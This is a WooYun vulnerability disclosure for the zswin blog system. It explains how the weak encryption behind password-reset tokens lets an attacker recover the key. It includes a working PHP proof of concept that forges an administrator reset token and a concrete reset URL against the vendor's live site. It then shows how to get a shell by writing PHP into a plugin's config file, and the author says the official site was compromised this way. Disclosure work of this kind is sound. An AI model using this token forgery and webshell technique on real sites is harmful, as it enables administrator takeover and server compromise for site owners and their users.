当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0101083

漏洞标题:zswin 博客系统 任意用户重置+getshell。(官网已shell)

相关厂商:zswin

漏洞作者: roker

提交时间:2015-03-13 11:57

修复时间:2015-04-30 18:48

公开时间:2015-04-30 18:48

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-04-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt

详细说明:

案例参照 http://wooyun.org/bugs/wooyun-2010-097032
官方直接问我要了漏洞详情,说好的来来乌云注册 确认漏洞 ,然而过了段时间就没有音讯了,,,真是坑爹。。
看了下补丁http://zswin.cn/artc/144.html
对于key做了生成,但是其算法本身是有问题的。

function think_encrypt($data, $key = '', $expire = 0)
{
$key = md5(empty($key) ? UC_AUTH_KEY : $key);
$data = base64_encode($data);
$x = 0;
$len = strlen($data);
$l = strlen($key);
$char = '';
for ($i = 0; $i < $len; $i++) {
if ($x == $l) $x = 0;
$char .= substr($key, $x, 1);
$x++;
}
$str = sprintf('%010d', $expire ? $expire + time() : 0);
for ($i = 0; $i < $len; $i++) {
$str .= chr(ord(substr($data, $i, 1)) + (ord(substr($char, $i, 1))) % 256);
}
return str_replace(array('+', '/', '='), array('%', '_', ''), base64_encode($str));
}


我们将 密文的asc码减去明文的asc码即可还原出key。
注册用户后,登入时,选择忘记密码,在邮件中获取其密文

1.png


对应的密文就是 uid了。
poc如下

<?php 
$data ='MTQyNjE4ODczN664x5Y';
$char=base64_encode('175');
$admin=base64_encode('1');
$len1= strlen($admin);
$data = base64_decode($data);
$data = substr($data, 10);
$len = strlen($data);
for ($i = 0; $i < $len; $i++) {

$key .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));

}
$str='0000000000';
for ($i = 0; $i < $len1; $i++) {
$str .= chr(ord(substr($admin, $i, 1)) + (ord(substr($key, $i, 1))) % 256);
}
echo base64_encode($str);

?>


生成管理员的 verify。

2.png


然后 访问
http://zswin.cn/Home/User/reset/uid/1/verify/MDAwMDAwMDAwMK61oaI.html
即可重置管理员密码为123456.
重置管理员密码后 登入后台即可getshell了。
添加一个插件,配置文件可写入php代码。

3.jpg


http://zswin.cn/Addons/test/config.php

4.png

漏洞证明:

4.png

修复方案:

加强加密算法

版权声明:转载请注明来源 roker@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝